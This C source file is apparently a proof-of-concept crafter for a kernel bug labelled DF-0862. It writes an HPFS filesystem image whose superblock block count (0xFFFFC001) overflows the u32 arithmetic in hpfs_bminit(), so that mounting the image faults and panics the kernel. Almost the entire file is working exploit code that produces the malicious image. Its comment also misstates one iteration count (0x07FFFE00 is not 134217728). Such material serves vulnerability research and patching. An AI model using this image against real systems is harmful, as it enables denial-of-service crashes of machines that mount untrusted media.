DF-0862 / craft_img.c
/* * DF-0862 PoC image crafter. * * Builds a minimal HPFS filesystem image whose SuperBlock carries * su_btotal = 0xFFFFC001. This value forces the integer-overflow path in * hpfs_bminit() (sys/vfs/hpfs/hpfs_subr.c:109): * * hpm_dbnum = (su_btotal + 0x3FFF) / 0x4000; // u32 arithmetic * * (0xFFFFC001 + 0x3FFF) wraps to 0 in u32 -> hpm_dbnum = 0. * * kmalloc(0 * sizeof(lsn_t)) and kmalloc(0 * BMSIZE) both return * ZERO_LENGTH_PTR (== (void*)-8 == 0xFFFFFFFFFFFFFFF8), but the later * bitmap-bitcount loop at hpfs_subr.c:156 is bounded by the *un-wrapped* * su_btotal >> 5 (= 0x07FFFE00 = 134217728 iterations) and dereferences * hpm_bitmap[i] = *(0xFFFFFFFFFFFFFFF8 + 4*i) -> non-canonical address -> * immediate kernel page fault / panic at mount. * * Layout written (all little-endian, x86): * sector 0x10 (off 0x2000): SuperBlock * +0 su_magic = 0xFA53E9C5F995E849 * +16 su_btotal = 0xFFFFC001 <-- the trigger * +24 su_bitmap.lsn1 = 0x40, lsn2 = 0x40 * sector 0x11 (off 0x2200): SpareBlock * +0 sp_magic = 0xFA5229C5F9911849 * * The image is 256 KiB (512 sectors) so every referenced lsn is readable. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #define SUBLOCK 0x10 #define SPBLOCK 0x11 #define SECTOR 512 #define IMG_SECTORS 512 /* 256 KiB */ #define SU_MAGIC 0xFA53E9C5F995E849ULL #define SP_MAGIC 0xFA5229C5F9911849ULL #define SU_BTOTAL_TRIGGER 0xFFFFC001u static void put_u32(unsigned char *p, uint32_t v) { p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff; } static void put_u64(unsigned char *p, uint64_t v) { for (int i = 0; i < 8; i++) p[i] = (v >> (8 * i)) & 0xff; } int main(int argc, char **argv) { const char *out = (argc > 1) ? argv[1] : "crafted.img"; uint32_t btotal = (argc > 2) ? (uint32_t)strtoul(argv[2], NULL, 0) : SU_BTOTAL_TRIGGER; unsigned char *img = calloc(IMG_SECTORS, SECTOR); if (!img) { perror("calloc"); return 1; } unsigned char *su = img + SUBLOCK * SECTOR; put_u64(su + 0, SU_MAGIC); su[8] = 2; /* su_hpfsver */ /* su_rootfno @ +12 */ put_u32(su + 12, 0x10); /* su_btotal @ +16 */ put_u32(su + 16, btotal); /* su_badbtotal @ +20 = 0 */ /* su_bitmap rsp_t { lsn1 @ +24, lsn2 @ +28 } */ put_u32(su + 24, 0x40); put_u32(su + 28, 0x40); unsigned char *sp = img + SPBLOCK * SECTOR; put_u64(sp + 0, SP_MAGIC); FILE *f = fopen(out, "wb"); if (!f) { perror("fopen"); free(img); return 1; } if (fwrite(img, 1, IMG_SECTORS * SECTOR, f) != (size_t)(IMG_SECTORS * SECTOR)) { perror("fwrite"); fclose(f); free(img); return 1; } fclose(f); free(img); /* Demonstrate the overflow in plain u32 arithmetic (matches the kernel). */ uint32_t dbnum = (btotal + 0x3FFFu) / 0x4000u; printf("[craft] wrote %s su_btotal=0x%08x -> hpm_dbnum(u32)=%u" " loop_iters(su_btotal>>5)=%u\n", out, btotal, dbnum, btotal >> 5); return 0; } |